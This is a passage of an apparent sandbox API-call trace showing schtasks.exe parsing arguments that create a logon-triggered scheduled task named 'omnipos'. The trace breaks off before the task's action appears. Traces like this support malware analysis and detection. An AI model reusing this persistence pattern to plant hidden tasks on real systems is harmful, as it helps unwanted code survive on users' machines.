(lpString="i") returned 1 [0115.064] GetThreadLocale () returned 0x409 [0115.064] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.064] lstrlenW (lpString="tn") returned 2 [0115.064] GetThreadLocale () returned 0x409 [0115.064] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.064] lstrlenW (lpString="tr") returned 2 [0115.064] GetThreadLocale () returned 0x409 [0115.064] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.064] lstrlenW (lpString="st") returned 2 [0115.064] GetThreadLocale () returned 0x409 [0115.064] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.064] lstrlenW (lpString="sd") returned 2 [0115.064] GetThreadLocale () returned 0x409 [0115.064] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.064] lstrlenW (lpString="ed") returned 2 [0115.064] GetThreadLocale () returned 0x409 [0115.064] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.064] lstrlenW (lpString="it") returned 2 [0115.064] GetThreadLocale () returned 0x409 [0115.064] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.064] lstrlenW (lpString="et") returned 2 [0115.064] GetThreadLocale () returned 0x409 [0115.064] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.065] lstrlenW (lpString="k") returned 1 [0115.065] GetThreadLocale () returned 0x409 [0115.065] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.065] lstrlenW (lpString="du") returned 2 [0115.065] GetThreadLocale () returned 0x409 [0115.065] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.065] lstrlenW (lpString="ri") returned 2 [0115.065] GetThreadLocale () returned 0x409 [0115.065] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.065] lstrlenW (lpString="z") returned 1 [0115.065] GetThreadLocale () returned 0x409 [0115.065] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.065] lstrlenW (lpString="f") returned 1 [0115.065] GetThreadLocale () returned 0x409 [0115.065] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.065] lstrlenW (lpString="v1") returned 2 [0115.065] GetThreadLocale () returned 0x409 [0115.065] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.065] lstrlenW (lpString="xml") returned 3 [0115.065] GetThreadLocale () returned 0x409 [0115.065] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.065] lstrlenW (lpString="ec") returned 2 [0115.065] GetThreadLocale () returned 0x409 [0115.065] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.065] lstrlenW (lpString="rl") returned 2 [0115.065] GetThreadLocale () returned 0x409 [0115.065] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.065] lstrlenW (lpString="delay") returned 5 [0115.065] GetThreadLocale () returned 0x409 [0115.065] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.065] lstrlenW (lpString="np") returned 2 [0115.065] GetThreadLocale () returned 0x409 [0115.066] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.066] lstrlenW (lpString="hresult") returned 7 [0115.066] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.066] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.066] lstrlenW (lpString="/create") returned 7 [0115.066] lstrlenW (lpString="-/") returned 2 [0115.066] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.066] lstrlenW (lpString="create") returned 6 [0115.066] lstrlenW (lpString="create") returned 6 [0115.066] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.066] lstrlenW (lpString="create") returned 6 [0115.066] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.066] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|create|") returned 8 [0115.066] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|create|") returned 8 [0115.066] lstrlenW (lpString="|create|") returned 8 [0115.066] lstrlenW (lpString="|create|") returned 8 [0115.066] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0115.066] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.066] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.066] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.066] lstrlenW (lpString="/tn") returned 3 [0115.066] lstrlenW (lpString="-/") returned 2 [0115.066] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.066] lstrlenW (lpString="create") returned 6 [0115.066] lstrlenW (lpString="create") returned 6 [0115.066] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.066] lstrlenW (lpString="tn") returned 2 [0115.067] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.067] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|create|") returned 8 [0115.067] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.067] lstrlenW (lpString="|create|") returned 8 [0115.067] lstrlenW (lpString="|tn|") returned 4 [0115.067] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0115.067] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.067] lstrlenW (lpString="?") returned 1 [0115.067] lstrlenW (lpString="?") returned 1 [0115.067] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.067] lstrlenW (lpString="tn") returned 2 [0115.067] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.067] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|?|") returned 3 [0115.067] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.067] lstrlenW (lpString="|?|") returned 3 [0115.067] lstrlenW (lpString="|tn|") returned 4 [0115.067] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.067] lstrlenW (lpString="s") returned 1 [0115.067] lstrlenW (lpString="s") returned 1 [0115.067] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.067] lstrlenW (lpString="tn") returned 2 [0115.067] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.067] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|s|") returned 3 [0115.067] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.067] lstrlenW (lpString="|s|") returned 3 [0115.067] lstrlenW (lpString="|tn|") returned 4 [0115.068] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.068] lstrlenW (lpString="u") returned 1 [0115.068] lstrlenW (lpString="u") returned 1 [0115.068] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.068] lstrlenW (lpString="tn") returned 2 [0115.068] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.068] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|u|") returned 3 [0115.068] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.068] lstrlenW (lpString="|u|") returned 3 [0115.068] lstrlenW (lpString="|tn|") returned 4 [0115.068] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.068] lstrlenW (lpString="p") returned 1 [0115.068] lstrlenW (lpString="p") returned 1 [0115.068] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.068] lstrlenW (lpString="tn") returned 2 [0115.068] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.068] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|p|") returned 3 [0115.068] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.068] lstrlenW (lpString="|p|") returned 3 [0115.068] lstrlenW (lpString="|tn|") returned 4 [0115.068] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.068] lstrlenW (lpString="ru") returned 2 [0115.068] lstrlenW (lpString="ru") returned 2 [0115.068] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.068] lstrlenW (lpString="tn") returned 2 [0115.068] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.068] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|ru|") returned 4 [0115.069] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.069] lstrlenW (lpString="|ru|") returned 4 [0115.069] lstrlenW (lpString="|tn|") returned 4 [0115.069] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0115.069] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.069] lstrlenW (lpString="rp") returned 2 [0115.069] lstrlenW (lpString="rp") returned 2 [0115.069] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.069] lstrlenW (lpString="tn") returned 2 [0115.069] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.069] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rp|") returned 4 [0115.069] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.069] lstrlenW (lpString="|rp|") returned 4 [0115.069] lstrlenW (lpString="|tn|") returned 4 [0115.069] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0115.069] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.069] lstrlenW (lpString="sc") returned 2 [0115.069] lstrlenW (lpString="sc") returned 2 [0115.069] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.069] lstrlenW (lpString="tn") returned 2 [0115.069] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.069] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sc|") returned 4 [0115.069] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.069] lstrlenW (lpString="|sc|") returned 4 [0115.069] lstrlenW (lpString="|tn|") returned 4 [0115.069] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0115.069] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.069] lstrlenW (lpString="mo") returned 2 [0115.070] lstrlenW (lpString="mo") returned 2 [0115.070] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.070] lstrlenW (lpString="tn") returned 2 [0115.070] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.070] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|mo|") returned 4 [0115.070] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.070] lstrlenW (lpString="|mo|") returned 4 [0115.070] lstrlenW (lpString="|tn|") returned 4 [0115.070] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0115.070] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.070] lstrlenW (lpString="d") returned 1 [0115.070] lstrlenW (lpString="d") returned 1 [0115.070] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.070] lstrlenW (lpString="tn") returned 2 [0115.070] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.070] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|d|") returned 3 [0115.070] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.070] lstrlenW (lpString="|d|") returned 3 [0115.070] lstrlenW (lpString="|tn|") returned 4 [0115.070] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.070] lstrlenW (lpString="m") returned 1 [0115.070] lstrlenW (lpString="m") returned 1 [0115.070] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.070] lstrlenW (lpString="tn") returned 2 [0115.070] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.070] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|m|") returned 3 [0115.071] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.071] lstrlenW (lpString="|m|") returned 3 [0115.071] lstrlenW (lpString="|tn|") returned 4 [0115.071] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.071] lstrlenW (lpString="i") returned 1 [0115.071] lstrlenW (lpString="i") returned 1 [0115.071] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.071] lstrlenW (lpString="tn") returned 2 [0115.071] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.071] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|i|") returned 3 [0115.071] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.071] lstrlenW (lpString="|i|") returned 3 [0115.071] lstrlenW (lpString="|tn|") returned 4 [0115.071] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.071] lstrlenW (lpString="tn") returned 2 [0115.071] lstrlenW (lpString="tn") returned 2 [0115.071] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.071] lstrlenW (lpString="tn") returned 2 [0115.071] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.071] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.071] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.071] lstrlenW (lpString="|tn|") returned 4 [0115.071] lstrlenW (lpString="|tn|") returned 4 [0115.071] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0115.071] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.071] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.071] lstrlenW (lpString="omnipos") returned 7 [0115.071] lstrlenW (lpString="-/") returned 2 [0115.072] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0115.072] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.072] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.072] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.072] lstrlenW (lpString="omnipos") returned 7 [0115.072] StrChrIW (lpStart="omnipos", wMatch=0x3a) returned 0x0 [0115.072] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.072] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.072] lstrlenW (lpString="omnipos") returned 7 [0115.072] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.072] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.072] lstrlenW (lpString="/sc") returned 3 [0115.072] lstrlenW (lpString="-/") returned 2 [0115.072] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.072] lstrlenW (lpString="create") returned 6 [0115.072] lstrlenW (lpString="create") returned 6 [0115.072] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.072] lstrlenW (lpString="sc") returned 2 [0115.072] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.072] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|create|") returned 8 [0115.072] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sc|") returned 4 [0115.072] lstrlenW (lpString="|create|") returned 8 [0115.072] lstrlenW (lpString="|sc|") returned 4 [0115.072] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0115.072] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.072] lstrlenW (lpString="?") returned 1 [0115.072] lstrlenW (lpString="?") returned 1 [0115.072] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.072] lstrlenW (lpString="sc") returned 2 [0115.073] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.073] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|?|") returned 3 [0115.073] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sc|") returned 4 [0115.073] lstrlenW (lpString="|?|") returned 3 [0115.073] lstrlenW (lpString="|sc|") returned 4 [0115.073] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.073] lstrlenW (lpString="s") returned 1 [0115.073] lstrlenW (lpString="s") returned 1 [0115.073] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.073] lstrlenW (lpString="sc") returned 2 [0115.073] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.073] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|s|") returned 3 [0115.073] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sc|") returned 4 [0115.073] lstrlenW (lpString="|s|") returned 3 [0115.073] lstrlenW (lpString="|sc|") returned 4 [0115.073] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.073] lstrlenW (lpString="u") returned 1 [0115.073] lstrlenW (lpString="u") returned 1 [0115.073] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.073] lstrlenW (lpString="sc") returned 2 [0115.073] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.073] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|u|") returned 3 [0115.073] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sc|") returned 4 [0115.073] lstrlenW (lpString="|u|") returned 3 [0115.073] lstrlenW (lpString="|sc|") returned 4 [0115.073] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.073] lstrlenW (lpString="p") returned 1 [0115.074] lstrlenW (lpString="p") returned 1 [0115.074] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.074] lstrlenW (lpString="sc") returned 2 [0115.074] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.074] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|p|") returned 3 [0115.074] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sc|") returned 4 [0115.074] lstrlenW (lpString="|p|") returned 3 [0115.074] lstrlenW (lpString="|sc|") returned 4 [0115.074] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.074] lstrlenW (lpString="ru") returned 2 [0115.074] lstrlenW (lpString="ru") returned 2 [0115.074] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.074] lstrlenW (lpString="sc") returned 2 [0115.074] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.074] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|ru|") returned 4 [0115.074] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sc|") returned 4 [0115.074] lstrlenW (lpString="|ru|") returned 4 [0115.074] lstrlenW (lpString="|sc|") returned 4 [0115.074] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0115.074] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.075] lstrlenW (lpString="rp") returned 2 [0115.075] lstrlenW (lpString="rp") returned 2 [0115.075] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.075] lstrlenW (lpString="sc") returned 2 [0115.075] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.075] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rp|") returned 4 [0115.075] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sc|") returned 4 [0115.075] lstrlenW (lpString="|rp|") returned 4 [0115.075] lstrlenW (lpString="|sc|") returned 4 [0115.075] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0115.075] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.075] lstrlenW (lpString="sc") returned 2 [0115.075] lstrlenW (lpString="sc") returned 2 [0115.075] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.075] lstrlenW (lpString="sc") returned 2 [0115.075] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.075] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sc|") returned 4 [0115.075] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sc|") returned 4 [0115.075] lstrlenW (lpString="|sc|") returned 4 [0115.075] lstrlenW (lpString="|sc|") returned 4 [0115.075] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0115.075] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.075] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.075] lstrlenW (lpString="ONLOGON") returned 7 [0115.075] lstrlenW (lpString="-/") returned 2 [0115.075] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0115.075] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.076] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.076] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.076] lstrlenW (lpString="ONLOGON") returned 7 [0115.076] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0115.076] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.076] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.076] GetProcessHeap () returned 0x29464740000 [0115.076] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x18) returned 0x2946474ac70 [0115.076] _memicmp (_Buf1=0x2946474ac70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.076] lstrlenW (lpString="ONLOGON") returned 7 [0115.076] GetProcessHeap () returned 0x29464740000 [0115.076] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x10) returned 0x2946474a9d0 [0115.076] lstrlenW (lpString="ONLOGON") returned 7 [0115.076] lstrlenW (lpString=" \x09") returned 2 [0115.076] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0115.076] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0115.076] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0115.076] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0115.076] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0115.076] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0115.076] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0115.076] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0115.076] GetLastError () returned 0x0 [0115.076] lstrlenW (lpString="ONLOGON") returned 7 [0115.076] lstrlenW (lpString="ONLOGON") returned 7 [0115.076] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.076] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.076] lstrlenW (lpString="/tr") returned 3 [0115.076] lstrlenW (lpString="-/") returned 2 [0115.076] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.077] lstrlenW (lpString="create") returned 6 [0115.077] lstrlenW (lpString="create") returned 6 [0115.077] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.077] lstrlenW (lpString="tr") returned 2 [0115.077] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.077] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|create|") returned 8 [0115.077] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.077] lstrlenW (lpString="|create|") returned 8 [0115.077] lstrlenW (lpString="|tr|") returned 4 [0115.077] StrStrIW 